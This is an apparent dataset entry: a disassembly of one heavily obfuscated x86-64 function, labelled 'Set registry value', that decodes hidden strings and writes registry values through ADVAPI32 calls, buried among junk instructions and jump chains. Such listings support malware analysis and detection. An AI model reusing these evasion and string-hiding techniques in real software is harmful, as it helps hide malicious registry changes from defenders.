Function at 0x1400472e0
Capabilities:
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
mov dword [rsp - 0x1c], esi
nop
jmp 0x140047661
xor dword [rbp - 0x14], 0x550f77e3
add dword [rbp - 0x14], 0xec17162
add dword [rbp - 0x14], 0x1658a9ab
add dword [rbp - 0x14], 0x256d71a4
sub dword [rbp - 0x14], 0x3e57c62
jmp 0x1400473eb
xchg rdx, r14
mov rdx, r15
xchg r14, rdx
sub r14, rax
xchg r13, r13
sar r14, 1
jmp 0x1400478fd
xchg rsp, rbx
movups xmmword [rbx + 0x50], xmm0
xchg rsp, rbx
jmp 0x1400475a0
jl 0x140047739
xchg r14, r14
lea rax, [rsp + 0x50]
jmp 0x1400473b8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
xchg rbx, rbx
psrad xmm1, xmm6
jmp 0x1400477ce
xchg r15, r10
mov r10, qword [rsi]
xchg r15, r10
lea r8, [rcx + rcx]
lea rax, [rsp + 0x50]
lea rax, [rax + rdi*2]
mov r12, r12
jmp 0x140047872
xchg r11, r11
xor rax, rsp
mov qword [rbp + 0x30], rax
jmp 0x140047479
movaps xmmword [r13 - 0x68], xmm8
xchg r13, rax
xchg rdi, rax
movaps xmmword [rdi - 0x78], xmm9
xchg rdi, rax
mov rax, qword [0x1402567f0]
jmp 0x14004738d
nop
movabs rdi, 0xffffffff17602c22
add rdi, 0x38fb1a44
xor rdi, 0x7621c3bf
xor rdi, 0x5991cd0
xor rdi, 0x18d1cc73
xor rdi, 0x65a478de
jmp 0x14004781c
sub dword [rbp - 0x14], 0x72bdb7b3
lea rdx, [rbp + 0x10]
mov rbx, rbx
jmp 0x14004754a
movq xmm2, xmm9
mov dword [rsp - 0xc], esp
paddw xmm3, xmm2
jmp 0x1400476f3
mov r13d, dword [0x1402567d0]
cmp r13d, 2
jl 0x140047865
movdqa xmm5, xmmword [0x140119390]
xchg r14, r14
jmp 0x140047561
mov qword [rsp - 8], r13
sub rsp, 8
push r14
jmp 0x14004764a
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
mov dword [rsp - 0x24], 0x3aed5f3e
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
jmp 0x140047716
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
mov r9, r9
jmp 0x140047352
xchg r12, rdx
mov rdx, r12
xchg r12, rdx
jmp 0x1400476c2
sub eax, 0xa52325a
xor eax, 0x66e1edcb
sub eax, 0x3a0ef102
xor eax, 0x2618fa92
jmp 0x1400476a6
movups xmm1, xmmword [0x14011a900]
xchg rdi, rbp
movups xmmword [rdi - 0x80], xmm1
xchg rdi, rbp
mov eax, dword [0x14011a910]
xchg r14, r14
mov dword [rbp - 0x70], eax
jmp 0x140047845
xchg rbp, r15
mov rbp, rsi
xchg r15, rbp
cmp rdx, 8
xchg r9, r9
jb 0x140047378
jmp 0x14004736f
mov eax, edx
shr eax, 4
shr eax, 3
shr eax, 2
shr eax, 0xb
shr eax, 1
jmp 0x140047523
xchg rdx, r10
sub rax, rcx
cmp rdi, rax
ja 0x14004799b
xchg rbp, rbp
lea rax, [rcx + rdi]
mov qword [rsi + 0x10], rax
jmp 0x1400474c2
mov rsi, rax
movups xmm0, xmmword [0x14011a8d0]
mov r14, r14
jmp 0x140047330
shr eax, 4
shr eax, 4
shr eax, 1
shr eax, 1
add edx, eax
xchg rbx, rbx
movzx eax, dx
jmp 0x1400478ab
mov dword [rsp - 0x34], ebx
lea r8, [r8 + 2]
cmp ecx, 0x23
jmp 0x14004733f
xchg r12, rcx
mov r12, rcx
xchg r12, rcx
call fcn.1400aec30
mov dword [rsp - 0x10], esi
jmp 0x140047797
movdqa xmm4, xmmword [0x14011a9a0]
movd xmm6, r15d
movdqa xmm7, xmmword [str.4444]
mov dword [rsp - 0x18], 0x766b57da
jmp 0x1400475c9
movq xmm2, xmm9
mov r8, r8
paddw xmm3, xmm2
movq xmm0, qword [rdx]
pxor xmm3, xmm0
movq qword [rdx], xmm3
jmp 0x1400478c1
movups xmm1, xmmword [0x14011a8e0]
xchg rdi, rdi
xchg rsp, r14
movups xmmword [r14 + 0x60], xmm1
xchg rsp, r14
movups xmm0, xmmword [0x14011a8f0]
mov dword [rsp - 0x38], 0x55a6692b
jmp 0x1400476e4
movd xmm8, eax
movdqa xmm9, xmmword [0x1401193c0]
lea rdx, [rsp + 0x50]
mov dword [rsp - 0x3c], 0x6190f3fc
movd xmm2, ecx
jmp 0x140047441
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
jmp 0x1400473fe
add dword [rbp - 0x18], 0x2333f8df
sub dword [rbp - 0x18], 0x562cb641
add dword [rbp - 0x18], 0x112af76
sub dword [rbp - 0x18], 0xac22f3b
mov dword [rbp - 0x14], 0x7a2d9868
sub dword [rbp - 0x14], 0x1e0d03fd
add dword [rbp - 0x14], 0x1cf43c19
jmp 0x1400472f1
lea rcx, [rsp + 0x50]
cmp rcx, rax
ja 0x1400478f4
jmp 0x140047774
mov dword [rsp - 0xc], 0x13cafc1c
push r15
lea rbp, [rsp - 0x80]
neg rsp
jmp 0x1400478dc
mov qword [rsp - 8], rbp
sub rsp, 8
nop
sub rsp, 8
mov qword [rsp], rsi
jmp 0x1400477ef
paddd xmm0, xmm1
mov dword [rsp - 0x1c], 0x1ea383de
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
jmp 0x140047899
add ax, 0x780e
xor word [r8], ax
inc ecx
jmp 0x14004753a
add eax, 0x461ef2d
sub eax, 0x4492a674
add eax, 0x27d81208
imul ecx
mov r11, r11
sar edx, 4
jmp 0x1400474dd
mov qword [rsp + 0x30], rcx
xchg rcx, rcx
mov dword [rbp - 0x18], 0x147c5f9f
add dword [rbp - 0x18], 0xb5b00fa
add dword [rbp - 0x18], 0x1cd0dc8f
jmp 0x140047601
xchg rsi, rsp
movups xmmword [rsi + 0x70], xmm0
xchg rsi, rsp
jmp 0x1400474a0
movq xmm0, qword [rdx + 8]
pxor xmm3, xmm0
movq qword [rdx + 8], xmm3
xchg r8, r8
nop
add ecx, 0xc8c428e
sub ecx, 0xc8c4286
jmp 0x14004775b
movdqa xmm0, xmm2
mov rbx, rbx
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
jmp 0x140047803
mov dword [rsp - 0x14], esi
lea r8, [r8 + rax*2]
nop word [rax + rax]
mov eax, 0x311fd9e2
sub eax, 0x8d7f5b3
jmp 0x140047487
mov ecx, r14d
lea eax, [r14 + 0x1f]
lea r15d, [r14 + 4]
mov r12, r12
jmp 0x140047410
lea rdx, [rdx + 0x10]
mov dword [rsp - 0x20], edx
cmp ecx, 0x20
jl 0x1400475e4
cmp ecx, 0x23
jmp 0x14004785b
mov dword [rsp - 0x38], 0x2f1b81d3
lea rax, [rsp + 0x50]
cmp r15, rax
jbe 0x1400478fd
lea rax, [rsp + 0x50]
xchg r10, r10
jmp 0x140047319
nop
lea rdx, [rbp - 0x60]
xchg r12, r14
mov rcx, r14
xchg r14, r12
call fcn.140043490
jmp 0x140047511
jne 0x140047835
xchg rcx, r13
mov r13, qword [rsi + 0x10]
xchg rcx, r13
mov rdx, qword [rsi + 0x18]
xchg rdx, r10
mov rax, r10
jmp 0x1400474f2
movdqa xmm0, xmm1
psrld xmm0, xmm8
xchg rdi, rdi
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
mov rbx, rbx
jmp 0x1400475ed
push rdi
mov dword [rsp - 0x30], esp
nop
sub rsp, 8
mov qword [rsp], r12
nop
jmp 0x140047431
shufps xmm1, xmm0, 0xdd
xchg r14, r14
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
jmp 0x140047678
sub rdi, 0x26e8c557
add rdi, 0x7fffffff
xor rdi, 0x485297b3
nop dword [rax]
inc rdi
xchg r8, r8
cmp word [rax + rdi*2], r14w
jmp 0x1400477af
movzx eax, word [0x14011a914]
mov word [rbp - 0x6c], ax
xor r14d, r14d
xchg r13, r13
jmp 0x140047748
mov dword [rsp - 0x2c], esp
jge 0x140047348
movsxd rax, ecx
lea r8, [rsp + 0x50]
jmp 0x14004772b
cmp rax, r15
jbe 0x1400478f4
lea rax, [r15 + r8]
mov dword [rsp - 0x18], 0x4549f3fe
jmp 0x140047637
movaps xmmword [rdi - 0x58], xmm7
xchg rdi, rax
xchg r13, rax
jmp 0x14004739c
xchg rdx, rdx
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
jmp 0x140047583
imul edx, eax, 0x34
movzx eax, cx
sub ax, dx
mov dword [rsp - 0x40], esi
sub ax, 0x77dc
jmp 0x140047697
xchg r13, r13
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
xchg r10, r10
jmp 0x140047464
sub rsp, 0xfffffffffffffe80
neg rsp
movaps xmmword [rax - 0x48], xmm6
xchg rcx, rcx
xchg rdi, rax
jmp 0x14004788c
xchg r14, rdi
mov rdi, r14
xchg rdi, r14
lea rcx, [r15 + rdi*2]
neg r8
add r8, 0xfffffffffffffffe
jmp 0x140047985
mov r15, rcx
xchg rcx, r15
call fcn.1400eb910
lea rcx, [rbx + r15]
xchg rsi, r8
mov rsi, rdi
jmp 0x140047930
lea r15d, [r14 + 4]
jmp 0x1400479d1
xchg r8, rsi
sub r8, r14
add r8, r8
lea rax, [r14 + rdi]
xchg r9, r9
lea rdx, [rsp + 0x50]
jmp 0x14004794a
lea rdx, [rdx + rax*2]
call fcn.1400eb910
xor r14d, r14d
mov dword [rsp - 0x44], 0x43ac2b02
jmp 0x140047927
mov dword [rsp - 0x34], 0x3aa30c44
lea rbx, [r14 + r14]
xchg r13, rbx
mov r8, r13
xchg r13, rbx
lea rdx, [rsp + 0x50]
xchg r15, rcx
jmp 0x14004790d
neg r8
xchg rcx, rdx
mov rcx, r15
xchg rdx, rcx
call fcn.1400eb910
jmp 0x140047963
mov qword [rsp + 0x28], rdi
lea rax, [rsp + 0x50]
mov dword [rsp - 0x24], 0x4aecdde4
jmp 0x140047a8c
add rbx, 0xfffffffffffffff8
neg rbx
lea rax, [rbp - 0x40]
jmp 0x140047a17
mov rcx, rsi
call fcn.140042bf0
xchg r10, rax
mov rsi, r10
xchg r10, rax
xchg r8, rsi
movups xmm6, xmmword [r8]
jmp 0x140047a42
movups xmmword [r9], xmm6
xchg r9, rbx
movups xmmword [rbx + 0x10], xmm7
mov r12, r12
jmp 0x140047bef
xchg rbp, r14
mov qword [rsi + 0x10], rbp
xchg r14, rbp
mov qword [rsi + 0x18], 0x74124979
sub qword [rsi + 0x18], 0x2a13c35f
add qword [rsi + 0x18], 0x2621808c
jmp 0x140047a6f
xchg r15, r15
cmp rbx, rax
je 0x140047ab7
xchg rcx, rbx
mov rbx, rcx
jmp 0x140047aa3
movups xmm7, xmmword [rsi + 0x10]
xchg rbp, r15
movups xmmword [r15 - 0x30], xmm7
xchg rbp, r15
jmp 0x1400479f0
xchg rsi, r8
xchg r11, rbp
movups xmmword [r11 - 0x40], xmm6
xchg r11, rbp
jmp 0x140047a2e
mov word [rsi], r14w
mov rbp, rbp
xchg r12, rbx
mov r12, qword [rsp + 0x30]
xchg r12, rbx
neg rbx
jmp 0x1400479b2
xor qword [rsi + 0x18], 0x40faec27
add qword [rsi + 0x18], 0x19495b9
sub qword [rsi + 0x18], 0x326f8033
jmp 0x140047a55
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
mov dword [rsp - 0x40], edx
jmp 0x1400479c2
xchg rcx, rbx
call fcn.1400440d0
mov dword [rsp - 0x38], esi
xchg r9, rbx
jmp 0x1400479dd
xchg rdx, r13
mov r13, qword [rbp - 0x28]
xchg r13, rdx
jmp 0x140047b6c
call fcn.1400e9750
cmp qword [rbx + 0x18], 8
xchg rcx, rcx
jb 0x140047adc
mov rbx, qword [rbx]
lea r8, [rbp - 0x20]
mov dword [rsp - 0x20], edx
jmp 0x140047b2b
xchg rcx, rbx
mov rax, rbx
xchg rbx, rcx
cmp rdx, 0x1000
mov dword [rsp - 0x34], esi
jb 0x140047ac6
add rdx, 0x27
jmp 0x140047bb1
xor rcx, 0x4df0b2e0
add rcx, 0x3e74f969
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov dword [rsp - 0x40], ebp
test eax, eax
jmp 0x140047c12
xchg r8, rbx
mov rdx, r8
xchg r8, rbx
nop
jmp 0x140047b8d
mov rcx, rax
xchg rcx, rax
cmp rdx, 0x1000
mov dword [rsp - 0x18], edx
jb 0x140047be1
jmp 0x140047c34
xor ebx, 0x290eca3
sub ebx, 0x624e845c
xor ebx, 0xc042475e
jmp 0x140047bd2
cmp rdx, 8
jb 0x140047bef
lea rdx, [rdx*2 + 2]
mov dword [rsp - 0x24], esp
mov rcx, qword [rbp - 0x40]
xchg rcx, rax
jmp 0x140047b3a
movabs rcx, 0xffffffff77a568e4
sub rcx, 0x5497da7d
xor rcx, 0x690d9409
sub rcx, 0x3d8465f5
jmp 0x140047b0c
mov rcx, qword [rcx - 8]
mov dword [rsp - 0x30], ecx
sub rax, rcx
sub rax, 8
cmp rax, 0x1f
xchg rdi, rdi
ja 0x1400485fa
jmp 0x140047ac6
jmp 0x140048511
cmp rax, 0x1f
ja 0x1400485f4
call fcn.1400e9750
mov rdi, rdi
nop
jmp 0x140047bef
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x140047acb
mov dword [rsp - 0x18], ecx
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
jmp 0x140047ae9
je 0x140047c51
mov ebx, 0x515553e1
xor ebx, 0x19dcc09e
add ebx, 0x18a6d236
xor ebx, 0x1304306
jmp 0x140047b55
neg rdx
add rdx, 0xffffffffffffffd9
neg rdx
mov rcx, qword [rcx - 8]
sub rax, rcx
xchg r8, r8
add rax, 0xfffffffffffffff8
jmp 0x140047bd7
lea rdx, [rbp - 0x60]
xchg rbp, rbp
xchg rcx, rbx
jmp 0x140048079
mov dword [rsp - 0x1c], 0x50b044c2
cmovae r11, qword [rbp - 0x10]
movsd xmm0, qword [str.vZGEZVAw_VY]
jmp 0x140048144
xor word [rsp + 0x32], 0x33
xor word [rsp + 0x34], 0x34
mov dword [rsp - 0x3c], 0x14f0ef83
xor word [rsp + 0x36], 0x35
xor word [rsp + 0x38], 0x36
xor word [rsp + 0x3a], 0x37
mov r15, r15
jmp 0x1400481c4
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
mov dword [rsp - 0x3c], esi
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
jmp 0x140048277
lea rcx, [rbp + 0x10]
mov dword [rsp - 0x2c], 0x6a01073d
cmp qword [rbp + 0x28], 8
cmovae rcx, qword [rbp + 0x10]
movups xmm0, xmmword [str.URSgYMR_]
mov dword [rsp - 0x24], 0x16730dea
jmp 0x1400481fd
xor r9d, 0x424338ce
add r9d, 0x5a70848e
sub r9d, 0x10a643f9
xor r9d, 0x7da302a8
add r9d, 0x22c467a6
jmp 0x140047fa6
xor r9d, 0x70f43767
add r9d, 0x4fb6101d
xor r9d, 0x71dfe88a
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov dword [rsp - 0x30], 0x31442ee3
mov rcx, qword [rbp - 0x20]
jmp 0x1400482d7
xor eax, 0x3434abb1
xor eax, 0x73393ede
mov word [rsp + 0x30], ax
jmp 0x140047c7a
xchg rsp, rsp
test eax, eax
jne 0x1400483a0
jmp 0x140047d89
xor ecx, 0x6346c936
xor ecx, 0xa85e0a5
sub ecx, 0x1be2b34f
add ecx, 0x242b7af9
xor ecx, 0x7e96838c
jmp 0x140047f0d
xchg rcx, r9
mov r9, qword [rbp - 0x20]
xchg r9, rcx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, r14d
xchg r12, r12
jmp 0x1400483c3
xor eax, 0x1a0e246e
movd xmm5, eax
xchg rsi, rsi
movdqa xmm2, xmmword [0x140119390]
movdqa xmm1, xmm2
jmp 0x140048183
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
mov dword [rsp - 0x34], ecx
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
jmp 0x1400481de
shr eax, 0x18
add edx, eax
mov dword [rsp - 0x3c], edi
jmp 0x1400482c8
mov eax, 0x7fae55f0
xor eax, 0x3907b74
xor eax, 0x1f2d8a1
sub eax, 0x8f75606
jmp 0x14004838e
psubd xmm2, xmm0
mov dword [rsp - 0x20], 0x68cb4995
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401193d0]
jmp 0x140048253
mov rcx, qword [rcx - 8]
xchg r11, r11
sub rax, rcx
nop
sub rax, 0xffffffffe7d99077
add rax, 0xffffffffe7d9906f
cmp rax, 0x1f
jmp 0x140047e8a
xchg rbp, rax
mov rdx, rbp
xchg rbp, rax
lea rcx, [rbp - 0x10]
jmp 0x140048294
mov eax, 0x78cc34b8
sub eax, 0x350ddc78
xor eax, 0x6c962f78
xor eax, 0x29197860
add eax, 0x3047bd1b
sub eax, 0x347d2c5f
xor eax, 0x1fba047
jmp 0x140048053
ja 0x14004860e
mov dword [rsp - 0x28], ebx
call fcn.1400e9750
lea r11, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
jmp 0x140047c60
movd xmm0, dword [str.vZGEZVAw_VY]
mov dword [rsp - 0x1c], 0xadeeec6
pxor xmm2, xmm0
jmp 0x140047f5b
xchg rdx, rdi
mov rdi, qword [rbp - 0x48]
xchg rdx, rdi
cmp rdx, 8
jb 0x140047e99
xchg r10, r10
jmp 0x14004812c
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
xchg r11, r11
jmp 0x140047dc1
pshufd xmm2, xmm1, 0xd8
mov rcx, rcx
pand xmm2, xmmword [0x1401193d0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1401193f0]
jmp 0x140047f7e
sub ecx, 0x1546b741
sub ecx, 0x4354402
mov word [rsp + 0x30], cx
xchg rsi, rsi
xor word [rsp + 0x32], 0x33
xor word [rsp + 0x34], 0x34
xor word [rsp + 0x36], 0x35
jmp 0x14004822c
lea r10, [r10 + 1]
cmp r8d, 0xc
jl 0x140047df1
mov eax, dword [rbp]
mov dword [rsp - 0x28], edx
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r11
jmp 0x14004819d
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x1401193a0]
movdqa xmm1, xmm3
xchg rdx, rdx
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
jmp 0x140047edc
xchg r15, r15
movd xmm0, dword [rsp + 0x34]
pxor xmm2, xmm0
movd dword [rsp + 0x34], xmm2
xchg r12, r12
mov r8d, 0xd404a74
xor r8d, 0x35a69957
jmp 0x140048009
sub r9d, 0x4c1cd521
xor r8d, r8d
mov r13, r13
lea rdx, [rsp + 0x30]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jmp 0x14004833e
xor word [rsp + 0x3a], 0x37
mov rbp, rbp
mov dword [rsp + 0x28], r15d
lea rax, [rbp - 0x14]
mov qword [rsp + 0x20], rax
mov r9d, r15d
jmp 0x1400482a3
mov qword [rsp + 0x20], rax
mov r9d, r15d
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov dword [rsp - 0x28], 0x182f00b1
mov rcx, qword [rbp - 0x20]
jmp 0x1400480e5
xor r8d, 0x1066f58a
xor r8d, 0x27dedb58
add r8d, 0x3a386dfd
sub r8d, 0x49976be6
jmp 0x1400480b7
movsd qword [rsi + 0x30], xmm0
xchg rsi, rsp
mov eax, dword [0x14011a958]
mov dword [rsp + 0x38], eax
cmp word [0x14011a95a], 0
mov dword [rsp - 0x14], ebp
je 0x140047fd2
jmp 0x140047e62
mov word [rsp + 0x30], ax
xor word [rsp + 0x32], 0x33
mov dword [rsp - 0x38], edx
xor word [rsp + 0x34], 0x34
xor word [rsp + 0x36], 0x35
xor word [rsp + 0x38], 0x36
jmp 0x140047fc9
mov rbx, r12
xchg rbx, rcx
call fcn.140043490
mov dword [rsp - 0x34], ecx
nop
xor r8d, r8d
jmp 0x140047e52
mov r8, r8
movd xmm6, r15d
mov eax, 0x3c99a1fb
add eax, 0x31e13d1
xor eax, 0x22888ac9
xor eax, 0x13cd791c
xor eax, 0x14fc6268
jmp 0x140047da4
mov eax, r8d
mov dword [rsp - 0x1c], 0x69938825
lea r10, [rsp + 0x30]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov dword [rsp - 0x38], 0x2a240ab1
jmp 0x140047df1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x1400483a0
mov dword [rsp - 0x14], esp
movsd xmm0, qword [str.aGUGB7]
xchg rsi, rsp
jmp 0x14004802a
sub al, cl
mov dword [rsp - 0x34], 0x6f0953c
sub al, 0xe5
jmp 0x14004832e
add eax, 0x24e4c32f
add eax, 0x1bca96b0
sub eax, 0x293bec90
jmp 0x140047d42
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
xchg r10, rax
mov r10, rcx
xchg r10, rax
jmp 0x140048163
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x14011a920]
mov rdi, rdi
mov dword [rsp + 0x38], eax
cmp byte [0x14011a923], 0
jmp 0x1400482f3
cmp rdx, 0x1000
mov dword [rsp - 0x28], ebp
jb 0x140047e94
neg rdx
add rdx, 0xffffffffffffffd9
neg rdx
jmp 0x140047e32
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
mov dword [rsp - 0x2c], 0x4bf82937
movdqa xmm0, xmm2
jmp 0x140047ca8
mov r9d, 0x3058b7db
add r9d, 0x1ac27132
sub r9d, 0x246a0d74
sub r9d, 0xa82359e
xor r9d, 0x4ef30af2
jmp 0x140047d14
xor word [rsp + 0x3c], 0x38
xor word [rsp + 0x3e], 0x39
xor word [rsp + 0x40], 0x3a
mov rdi, rdi
jmp 0x140048366
pmulld xmm0, xmmword [str.4444]
xchg rdi, rdi
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
jmp 0x140047eec
movups xmmword [rsp + 0x30], xmm0
mov eax, dword [0x14011a938]
mov dword [rsp + 0x40], eax
mov dword [rsp - 0x38], 0x5c3c5b4a
cmp word [0x14011a93a], 0
je 0x14004836c
mov eax, 0x2f9a27d7
jmp 0x140048118
xor ax, 0x36
mov dword [rsp - 0x30], 0x24a3dbde
mov word [rsp + 0x38], ax
mov dword [rsp + 0x28], r15d
lea rax, [rbp - 0x18]
mov dword [rsp - 0x18], 0x98f9277
jmp 0x140047fe8
xchg rdi, rdi
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1401193f0]
jmp 0x140047ea7
xchg r15, r15
sar edx, 4
mov eax, edx
shr eax, 7
jmp 0x140047de3
movdqa xmm0, xmm1
psrld xmm0, xmm5
mov r15, r15
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.4444]
jmp 0x140047e0a
mov dword [rsp - 0x2c], ebx
call fcn.1400b60b0
nop
jmp 0x140047ec0
mov dword [rsp - 0x10], 0x40afb61d
xor r8d, r8d
lea rdx, [rsp + 0x30]
xchg rdx, rcx
mov rdx, qword [rbp - 0x20]
xchg rcx, rdx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
jmp 0x140047d56
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
jmp 0x140048107
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
mov r15, r15
jne 0x1400483a0
mov eax, dword [rbp + 0x20]
lea edx, [rax + rax]
jmp 0x140047cc2
je 0x140047f46
mov dword [rsp - 0x10], 0x31f9f59f
mov r8d, r14d
cmp r13d, 2
jl 0x1400480b7
movdqa xmm4, xmmword [0x14011a9a0]
jmp 0x140048091
xchg r14, r14
mov ecx, 0x26fcd03d
xor ecx, 0x109b49df
jmp 0x140047d66
add al, 0x17
xor byte [r10], al
inc r8d
mov rbp, rbp
jmp 0x140047f38
mov dword [rsp - 0x24], 0x4dffd191
jne 0x1400483a0
movsd xmm0, qword [str.fJDP6]
movsd qword [rsp + 0x30], xmm0
movzx eax, word [0x14011a948]
jmp 0x14004831b
xor word [rsp + 0x42], 0x3b
mov dword [rsp + 0x28], edx
mov qword [rsp + 0x20], rcx
mov r9d, 0x56254775
xor r9d, 0x4edca6e1
add r9d, 0x307835fa
jmp 0x140047cec
sub eax, 0x4b088593
add eax, 0x24f7d1c3
imul r8d
jmp 0x140048267
mov ebx, 0x2b469525
sub ebx, 0x152cd169
xor ebx, 0x14b8569f
add ebx, 0x1ef2aed8
xor ebx, 0xb925b00
add ebx, 0x95f9e852
mov rdx, qword [rbp + 8]
jmp 0x1400485ab
xor qword [rbp + 8], 0x33c06498
xor qword [rbp + 8], 0x4de8fad6
sub qword [rbp + 8], 0x20183c73
xor qword [rbp + 8], 0xef53447
jmp 0x14004851a
sub rax, 0xffffffffbe00bf4b
add rax, 0xffffffffbe00bf43
cmp rax, 0x1f
mov dword [rsp - 0x24], edi
ja 0x1400485e6
jmp 0x1400484b2
pop rsi
nop
add rsp, 8
mov rbp, qword [rsp - 8]
ret
xchg rcx, rax
mov rcx, rax
xchg rcx, rax
cmp rdx, 0x1000
jmp 0x140048449
nop
add rsp, 8
mov r15, qword [rsp - 8]
pop r14
mov dword [rsp - 0x38], ebp
nop
add rsp, 8
jmp 0x14004854b
jb 0x1400484e0
xchg rdi, rdi
nop
add rdx, 0x3822a408
sub rdx, 0x3822a3e1
mov rcx, qword [rcx - 8]
jmp 0x140048485
mov dword [rsp - 0x10], esi
cmp rdx, 8
jb 0x1400484b7
lea rdx, [rdx*2 + 2]
jmp 0x140048567
sub rax, rcx
mov dword [rsp - 0x20], 0x34c91768
sub rax, 8
cmp rax, 0x1f
jmp 0x1400484da
movaps xmm7, xmmword [r9 - 0x20]
xchg r9, r11
xchg r11, rsi
movaps xmm8, xmmword [rsi - 0x30]
jmp 0x140048595
call fcn.1400e9750
mov eax, ebx
mov rcx, qword [rbp + 0x30]
mov dword [rsp - 0x30], 0x228c0761
xor rcx, rsp
call fcn.1400e9870
lea r11, [rsp + 0x180]
jmp 0x1400485cf
ja 0x140048614
call fcn.1400e9750
xchg rbp, rbp
mov qword [rbp], r14
mov qword [rbp + 8], 0x7a930105
sub qword [rbp + 8], 0x296d1210
jmp 0x1400483cc
add byte [rbp - 0x10], 0x20
sub byte [rbp - 0x10], 3
xor byte [rbp - 0x10], 0x78
sub byte [rbp - 0x10], 0x44
mov rdx, qword [rbp + 0x28]
jmp 0x14004846a
mov byte [rbp - 0x10], 0x2f
sub byte [rbp - 0x10], 0x2e
xor byte [rbp - 0x10], 0x79
sub byte [rbp - 0x10], 0x59
jmp 0x140048501
nop
sub rdx, 0x746afa31
add rdx, 0x746afa58
mov rcx, qword [rcx - 8]
sub rax, rcx
nop
jmp 0x1400483f1
mov r13, qword [rsp - 8]
nop
mov r12, qword [rsp]
add rsp, 8
nop
mov rdi, qword [rsp]
add rsp, 8
jmp 0x140048410
mov rcx, qword [rbp + 0x10]
mov dword [rsp - 0x18], 0x2a11bbcd
xchg rcx, rax
mov rcx, rax
jmp 0x14004857d
xchg rcx, rax
cmp rdx, 0x1000
jb 0x1400484b2
mov dword [rsp - 0x1c], esi
jmp 0x14004852f
xchg r11, rsi
movaps xmm9, xmmword [r11 - 0x40]
xchg rsp, r8
mov r8, r11
xchg r8, rsp
jmp 0x14004842f
cmp rdx, 0x10
mov dword [rsp - 0x14], 0x2de0d659
jb 0x1400484e8
inc rdx
xchg rcx, rdi
mov rdi, qword [rbp - 0x10]
xchg rcx, rdi
jmp 0x14004841c
xchg rbx, rsp
mov rsp, qword [r11 + 0x50]
xchg rbx, rsp
movaps xmm6, xmmword [r11 - 0x10]
xchg r9, r11
jmp 0x14004849d
call fcn.1400f040c
mov rdx, rdx
nop
jmp 0x1400485f4
call fcn.1400f040c
nop
call fcn.1400f040c
jmp 0x140048605
int3
mov dword [rsp - 0x3c], 0x2f299a00
int3
call fcn.1400f040c
int3
call fcn.1400f040c
xchg r8, r8
jmp 0x140048604